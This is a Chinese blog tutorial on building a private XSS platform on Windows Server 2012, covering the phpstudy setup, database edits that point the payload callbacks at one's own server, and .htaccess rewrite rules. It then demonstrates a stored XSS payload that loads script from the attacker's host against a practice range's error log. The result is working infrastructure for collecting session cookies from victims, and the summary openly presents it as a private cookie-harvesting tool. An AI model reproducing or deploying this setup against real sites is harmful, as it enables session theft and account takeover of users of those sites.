手把手教你搭建XSS平台


前言


网上有很多文章讲解XSS平台的搭建,但是我跟着教程自己搭建的时候总是遇到各种问题,踩了很多坑,因此本文重新梳理了一下在windows server 2012上搭建XSS平台的全过程,大家只需要一步步跟着做就可以了,希望能用最通俗易懂的语言将过程描述清楚,容易被忽略导致搭建失败的细节我也会一一提及,避免大家像我当初一样踩坑。关于本文中的细节有任何疑问欢迎私信本人,一般我会在24小时之内回复,为君答疑解惑。


一、源码及运行环境准备

(一)XSS平台源码从哪里下载?

古人云:“工欲善其事,必先利其器”。在开始搭建之前,我们需要先做好必要的准备。读者目前手头如果没有XSS平台源码,也不知道该从哪里下载,
可以从网上自行搜索下载XSS平台源码,但是有一定的风险。我自己使用的XSS平台源码是从公众号上下载的,可以在微信上搜索该公众号,Ms08067安全实验室,然后回复:WEB安全攻防工具,即可得到源码。
在这里插入图片描述
该实验室在国内较为出名,著有《WEB安全攻防-渗透测试实战指南》、《Python安全攻防》、《内网安全攻防》、《java代码审计:入门篇》等,我想他们还是比较靠谱的,所以直接使用他们提供的源码了。
如果读者嫌麻烦不想从公众号上下载怎么办?没关系,我都给你准备好啦!本文发布以后,我会立即上传XSS平台源码到本人的博客空间,并且不需要任何金币即可免费下载。

(二)操作系统和工具的准备

本文搭建的XSS平台是基于windows server 2012的云服务器,有公网ip。搭建的时候需要使用phpstudy2016,当然了,vc9_86运行库也是必备的,这两个我都会一并上传到本人博客中,无需金币即可下载。
注意:XSS平台由于需要和目标进行反向连接,因此必须有一个公网ip,才能让目标访问到你,所以如果没有公网Ip,那建议先去整一个,然后再来阅读本文。


二、平台搭建

(一)新建网站目录

首先安装好phpstudy,在WWW目录下新建一个文件夹,名为xsser
大家注意了,这里文件夹就叫xsser,别乱改了,因为这个XSS平台源码以前默认是xsser.me这个网站使用的,有些默认设置是用到了xsser这个文件夹,为了避免未知的错误,因此我们老老实实把文件夹的名字命名为xsser,这样可以避免将来不必要的麻烦。
然后将XSS平台的源码解压到该目录下,如图所示:
在这里插入图片描述

(二)导入数据库

注意,在导入数据库之前,首先去新建一个空数据库,然后再把数据导进来。
用管理员身份运行phpstudy(注意这点,一定要以管理员身份运行phpstudy,以免出现一些意想不到的情况),点击MYSQL管理器,点击MySql-Front,在左侧找到localhost,右键单击,选择新建,点击数据库
在这里插入图片描述
输入数据库名为:xssplatform
这个数据库名字是配置文件的默认库名,最好就不要去修改了,否则配置文件也得跟着改,何必自找麻烦呢?
然后发现新建了一个名为xssplatform的数据库。在该数据库名上右键单击,选择输入,选择SQL文件,然后将找到xsser文件夹下的xssplatform.sql,字符集选择UTF-8,如图所示:
在这里插入图片描述
然后点击打开。这样数据就成功导入数据库中了。

(三)修改数据库

由于该数据库中默认设置的域名为xsser.me,如果不加以修改,那么生成的XSS攻击代码就无法发送到我们自己的网站了。
因此我们必须对JS代码进行修改。
单击SQL编辑器
输入以下命令进行修改:

use xssplatform;
select * from oc_module;
update oc_module set code=REPLACE(code,'http://xsser.me','此处输入你的域名或公网ip/xsser');

在这里插入图片描述
注意上面的域名是你自己的域名或者公网ip,这里是第一个容易踩坑的地方。假设网址是www.baidu.com,那么这里的命令就是:

use xssplatform;
select * from oc_module;
update oc_module set code=REPLACE(code,'http://xsser.me','www.baidu.com/xsser');

假如你没有域名,只有公网ip,ip假设是101.0.0.0那么命令就是:

use xssplatform;
select * from oc_module;
update oc_module set code=REPLACE(code,'http://xsser.me','101.0.0.0/xsser');

通过这两个例子,读者想必已经完全明白了这里的域名怎么设置了。
设置完毕以后按F9运行这三条命令即可。注意这里的前两条命令是为了保险起见,因为按照mysql的语法规则,需要先进入一个库,才能对这个库的数据进行操作,因此我就加了两条,第一条命令表示进入该数据库,第二条命令表示查询oc_module表的内容。

(四)修改配置文件

1、config.php

打开xsser文件夹下的config.php文件,需要修改的地方如图所示:
在这里插入图片描述
根据右侧的注释可以看出左侧代码具体的含义,数据库的账户密码就根据自己本机的账户密码来填就行了,我的是root,root。数据库的地址要么填localhost,要么填127.0.0.1,都是一样的。第22行输入自己的网址,后面的/xsser注意别漏了。
比如你的公网ip是101.0.0.0,那么第22行URL的路径为:http://101.0.0.0/xsser
上面第18行那里是设置注册功能开关的,如果设置为normal,表示不需要邀请码就能注册,设置为invite的话,只能通过邀请注册,而如果完全关闭注册,则只要输入close即可。这里我们刚开始搭建,先设置为normal

2、authtest.php

接着打开xsser目录下的authtest.php文件,找到第21行,在location后面的url前面的部分改成http://localhost/xsser即可,最终效果如图所示即可:
在这里插入图片描述

3、配置.htaccess伪静态文件

这里需要涉及一个概念,就是.htaccess文件。
.htaccess全称是Hypertext Access(超文本入口),也被称为分布式配置文件,是Apache特有的的针对目录改变配置的方法。通过在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。该文件可以针对不同的目录去做不同的策略。
为了接收到来自目标网站的数据,我们需要配置一个.htaccess文件。
在xssser文件夹下新建一个1.txt文件,然后粘贴以下代码进去:

RewriteEngine On 
RewriteRule ^([0-9a-zA-Z]{6})$ /xsser/index.php?do=code&urlKey=$1 [L] 
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /xsser/index.php?do=do&auth=$1&domain=$3 [L] 
RewriteRule ^register/(.*?)$ /xsser/index.php?do=register&key=$1 [L] 
RewriteRule ^register-validate/(.*?)$ /xsser/index.php?do=register&act=validate&key=$1 [L] 
RewriteRule ^login$ /xsser/index.php?do=login [L]

注意我们的index.php是在xsser文件夹下的,所以上面每一个index.php前面都有一个/xsser/,读者需要注意这点,假如你不是用xsser文件夹,那么这里也要相应修改。
现在只要把1.txt命名为.htaccess即可。直接重命名是不行的,windows禁止文件名为空,因此我们需要借助命令行来实现。命令行重命名的命令为ren,语法也很简单,就是:

ren 旧文件名 新文件名

现在可以去重命名了。在该文件夹的路径中,删掉路径,然后输入cmd
在这里插入图片描述
这样即可打开该文件夹下的cmd窗口,然后输入(注意ren和1.txt后面各有一个空格):

ren 1.txt .htaccess

在这里插入图片描述
然后查看xsser文件夹,看到成功改名为.htaccess
在这里插入图片描述

(五)phpstudy的设置

在phpstudy的主界面中,点击其他选项菜单,点击站点域名管理,然后将网站的根目录设置为xsser文件夹所在的WWW目录。注意是WWW目录,而不是xsser。这样你在WWW下建立其他文件夹,然后搭建网站,就不需要再去设置phpstudy了,而是用域名/文件夹名就能访问到了。
言规正传,设置好网站根目录以后,顺便把自己的域名也填进去,我这里就直接涂鸦了,不想让你们知道,啊哈哈哈!
在这里插入图片描述
其他的保持默认设置即可。设置完毕,点击新增,然后点击保存配置文件即可。
为了保险起见,在其他选项菜单中,找到phpstudy设置,然后把上面的目录也修改为WWW目录,其余不变,如图所示:
在这里插入图片描述


三、XSS平台使用方法简介

(一)功能测试

现在已经完成了所有的搭建过程,现在咱们测试一下看看。由于咱们的目标是要能实现公网访问,且能接收数据,因此直接用域名来访问。
打开浏览器,输入:你的域名/xsser
注意要在域名后面加个/xsser,别忘了。
在这里插入图片描述
注册一个账号,账号密码均为a123455。注册成功后会自动登陆,界面如下:
在这里插入图片描述
然后在左侧我的项目那里,创建一个项目:
在这里插入图片描述
接着选择默认模块,勾选keepsession
在这里插入图片描述
然后点击下一步。
在这里插入图片描述
看到页面中生成了很多XSS的payload。
复制一段XSS,比如下面这个,然后我们通过封神台的存储型XSS靶场来测试一下能否接收到外部的信息。

</textarea>'"><script src=http://xx.xx.xx.xx/xsser/r1AsOY></script>

进入靶场,地址在:http://59.63.166.75:8082/
有人代码审计出来:只要以c和m两个固定的GET传参方式访问该cms的一个不存在的页面,管理员后台的错误日志页面中就会把该访问内容写入错误日志当中。
因此我们在URL中输入:

59.63.166.75:8082/index.php?c=test&m=test

然后在末尾加上上面生成的XSSpayload,所以完整的URL为:

59.63.166.75:8082/index.php?c=test&m=test </textarea>'"><script src=http://xx.xx.xx.xx/xsser/r1AsOY></script>

为了保护我自己个人的隐私,我把ip地址换成了xx.xx.xx.xx。
在URL中访问后,页面会提示404,然后按CTRL+U,查看网页源代码:
在这里插入图片描述
看到我们写入的XSS已经成为了网页源代码的一部分。然后查看XSS平台:
在这里插入图片描述
接收到了来自靶场的很多信息,可见平台搭建成功。

(二)如何将XSS平台设置为私人XSS平台?

这里注意,我们可以将自己创建的账号设置为管理员,并关闭平台的注册功能,从而该XSS平台就变成只有我们自己能用的私人XSS平台了。那么该如何实现呢,分两步:
第一步,先将a123456设置为管理员。打开数据库,点击SQL编辑器,输入:

use xssplatform;
select * from oc_user;

前面的adminlevel就是代表是否是管理员,只要将相应用户前面的adminlevel的值设置为1,即表示设置该用户为管理员。只要双击即可修改数据。当然通过命令也可以实现,我个人比较喜欢用命令来操作数据库,命令如下:

use xssplatform;
select * from oc_user;
update oc_user set adminlevel=1 where userName='a123456'

执行成功:
在这里插入图片描述

接着打开xsser文件夹下的config.php文件,将第18行中的normal改成close即可。
这样XSS平台就只有我们自己能使用了。


四、小结

XSS平台由于其敏感性,容易被封,并且在使用网上的XSS平台时,我们无法确定该平台的管理者会不会别有用心,把我们获得的cookie信息拿来用呢?所以最好是搭建一个私人的XSS平台。本文正是基于这一点,详细介绍了在windows server 2012上搭建XSS平台的全过程,并通过封神台的存储型XSS靶场简单测试了该平台的功能,希望对大家搭建XSS平台起到一定的参考作用。

  • 15
    点赞
  • 134
    收藏
    觉得还不错? 一键收藏
  • 35
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 35
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值